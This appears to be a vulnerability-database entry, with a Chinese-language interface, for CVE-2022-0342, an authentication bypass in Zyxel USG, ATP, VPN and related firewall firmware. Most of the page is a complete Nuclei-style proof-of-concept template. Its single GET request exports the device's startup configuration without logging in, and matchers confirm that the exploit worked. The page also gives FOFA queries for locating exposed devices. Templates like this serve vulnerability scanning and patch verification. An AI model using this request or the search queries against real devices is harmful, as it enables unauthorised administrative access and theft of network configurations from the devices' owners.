CVE-2022-0342: Zyxel - Authentication Bypass

日期: 2025-08-01 | 影响软件: Zyxel | POC: 已公开

漏洞描述

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

PoC代码[已公开]

id: CVE-2022-0342

info:
  name: Zyxel - Authentication Bypass
  author: SleepingBag945,Powerexploit
  severity: critical
  description: |
    An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
  reference:
    - https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0342
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml
    - https://github.com/f1tao/awesome-iot-security-resource
    - https://github.com/murchie85/twitterCyberMonitor
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0342
    cwe-id: CWE-287
    epss-score: 0.92291
    epss-percentile: 0.99711
    cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: usg40_firmware
    fofa-query:
      - body="/2FA-access.cgi" && body="zyxel zyxel_style1"
      - body="/2fa-access.cgi" && body="zyxel zyxel_style1"
  tags: cve2022,cve,zyxel,auth-bypass,router

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "interface-name"
          - "saved at"
        condition: and

      - type: word
        part: header
        words:
          - "text/zyxel"
          - "attachment; filename="
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ae85262d331d4c2524591d6c9c93621f9a92115600d922f5478ea98d662e4b97022100b26cbc6a2f3f949e16a21a312340698170e94da4c28fbac0ee3485d9b2a048c1:922c64590222798bb761d5b6d8e72950

相关漏洞推荐